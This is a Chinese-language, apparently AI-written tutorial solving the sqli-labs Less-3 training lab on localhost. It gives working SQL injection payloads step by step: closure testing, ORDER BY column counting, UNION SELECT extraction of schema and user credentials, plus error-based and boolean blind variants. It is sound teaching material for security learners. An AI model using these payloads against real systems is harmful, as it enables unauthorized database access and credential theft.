Sqli-Labs Less-3 靶场完整解题流程解析
你作为网络安全初学者,希望我详细讲解sqli-labs-master/Less-3靶场的完整解题过程,并且对其中的难点知识点进行拆解、扩展,帮助你理解每一步的原理和逻辑。下面我会从环境准备→注入类型判断→闭合方式分析→信息爆破 一步步讲解,确保每个环节都清晰易懂。
前置知识:Less-3 核心背景
sqli-labs Less-3 是单引号+括号闭合的字符型SQL注入 靶场,后台核心SQL语句大致为:
SQL
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;
和数字型注入(id=1)、单纯字符型注入(id='1')的区别是:这里的参数被('')双层包裹,这也是解题的核心难点。
步骤1:判断是否存在SQL注入点
首先测试基础参数,确认注入点是否存在:
2.1 正常访问
访问URL:http://localhost/sqli-labs-master/Less-3/?id=1
页面返回:You are in...........,说明参数id=1能正常查询数据。
2.2 测试异常参数(判断注入类型)
访问URL:http://localhost/sqli-labs-master/Less-3/?id=1'

页面返回报错信息:
Plain
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
关键分析:
报错信息是解题的"钥匙"!我们拆解报错和后台SQL的对应关系:
-
后台原语句:
SELECT * FROM users WHERE id=('$id') LIMIT 0,1 -
当输入
id=1'时,代入后变成:SELECT * FROM users WHERE id=('1'') LIMIT 0,1 -
多余的单引号(
'1'')导致SQL语法错误,说明这是字符型注入(数字型注入加单引号不会报这种语法错)。
步骤2:确定SQL语句的闭合方式(核心难点)
从报错信息near ''1'') LIMIT 0,1'可以拆解:
-
原语句中
id被(和)+ 单引号包裹 →('$id') -
输入
1'后,变成('1''),需要"闭合"多余的单引号和括号,让SQL语法恢复正常。
测试闭合方式:
访问URL:http://localhost/sqli-labs-master/Less-3/?id=1') --+

页面重新返回You are in...........,说明闭合成功!
难点讲解:闭合原理
-
1'):用来闭合原语句的('→ 原语句变成id=('1')(前半部分闭合); -
--+:是MySQL的注释符(--后需要加空格,URL中空格会被编码为+),作用是注释掉后面的) LIMIT 0,1,最终SQL语句变为:SQLSELECT * FROM users WHERE id=('1') -- +') LIMIT 0,1;注释后的内容不会执行,语法完全正确。
扩展:注释符的替代方案
-
#:也是MySQL注释符,但URL中#是锚点,需要URL编码为%23,即id=1') %23; -
/*...*/:多行注释,如id=1') /* xxx */。
步骤3:爆破字段数(确定union select的字段匹配数)
union select(联合查询)是显注的核心方法,必须满足前后查询的字段数一致,因此需要先确定表的字段数。
操作步骤:
-
访问:
http://localhost/sqli-labs-master/Less-3/?id=1') order by 1 --+(正常) -
访问:
http://localhost/sqli-labs-master/Less-3/?id=1') order by 2 --+(正常) -
访问:
http://localhost/sqli-labs-master/Less-3/?id=1') order by 3 --+(正常) -
访问:
http://localhost/sqli-labs-master/Less-3/?id=1') order by 4 --+(报错)

结论:
users表有3个字段(id、username、password),这是union select的基础。
知识点扩展:order by的作用
order by N 表示按第N个字段排序,如果N超过表的字段数,就会报错,以此快速判断字段数,比手动猜更高效。
步骤4:使用union select 爆破数据库信息
union select需要满足两个条件:
-
前后查询字段数一致(已确定是3);
-
原查询无结果(用
id=-1让原查询返回空),这样页面才会显示union的查询结果。
5.1 爆破当前数据库名
访问URL:
Plain
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,database(),3 --+
页面返回:DATABASE(): security,说明当前数据库是security。

关键解释:
-
id=-1:让原查询SELECT * FROM users WHERE id=('-1')无结果(users表没有id=-1的记录); -
database():MySQL内置函数,返回当前连接的数据库名; -
1和3:占位符(因为字段数要3个),可以替换成任意数字/字符串。
5.2 爆破数据库中的表名
利用MySQL的系统库information_schema(存储所有数据库/表/字段的元数据),查询security库下的所有表:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:TABLE_NAME: emails,referers,uagents,users,核心表是users(存储账号密码)。
难点讲解:information_schema 核心表
| 表名 | 核心字段 | 作用 |
| information_schema.tables | table_schema(库名)、table_name(表名) | 查询指定库的所有表 |
| information_schema.columns | table_schema、table_name、column_name(字段名) | 查询指定表的所有字段 |
关键函数:group_concat()
将多行结果拼接成一行(比如users表有多个字段,直接查会只显示一行,用这个函数能一次性看到所有表/字段),如果不用这个函数,页面只会显示第一个表(emails)。
5.3 爆破users表的字段名
查询security库下users表的所有字段:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面返回:COLUMN_NAME: id,username,password,确认users表的核心字段是username和password。
5.4 爆破users表的账号密码
最终步骤:查询users表的所有账号密码:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --+
页面返回(示例):
Plain
USERNAME:PASSWORD: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

至此,Less-3靶场的核心数据已全部爆破出来。
扩展知识点:其他注入方式(应对过滤场景)
如果靶场过滤了union select,还可以用以下方式:
1. 报错注入(利用MySQL报错函数)
访问URL:
Plain
http://localhost/sqli-labs-master/Less-3/?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面报错显示:XPATH syntax error: '~security~',直接爆出数据库名。
-
updatexml():MySQL XML函数,参数错误时会报错并显示错误内容; -
0x7e:十六进制的~,用来分隔报错内容,避免和其他字符混淆。
2. 布尔盲注(无回显/无报错时)
通过判断条件真假来逐字符爆破:
-
判断数据库名长度:
id=1') and length(database())=8 --+(返回正常,说明长度是8); -
判断第一个字符:
id=1') and ascii(substr(database(),1,1))=115 --+(115是s的ASCII码,返回正常); -
依次爆破每个字符,最终拼出数据库名。
总结(核心关键点)
-
Less-3的核心是单引号+括号 的字符型注入,闭合方式为
1') --+(重点是分析报错信息确定闭合符); -
union select是显注核心,需满足字段数一致+原查询无结果两个条件; -
information_schema是MySQL元数据核心库,是爆破数据库/表/字段的关键,配合group_concat()可一次性获取所有结果。
通过这个靶场,你需要掌握"判断注入类型→分析闭合方式→爆破字段数→union查询爆信息"的完整SQL注入思路,这也是所有显注类靶场的通用解题逻辑。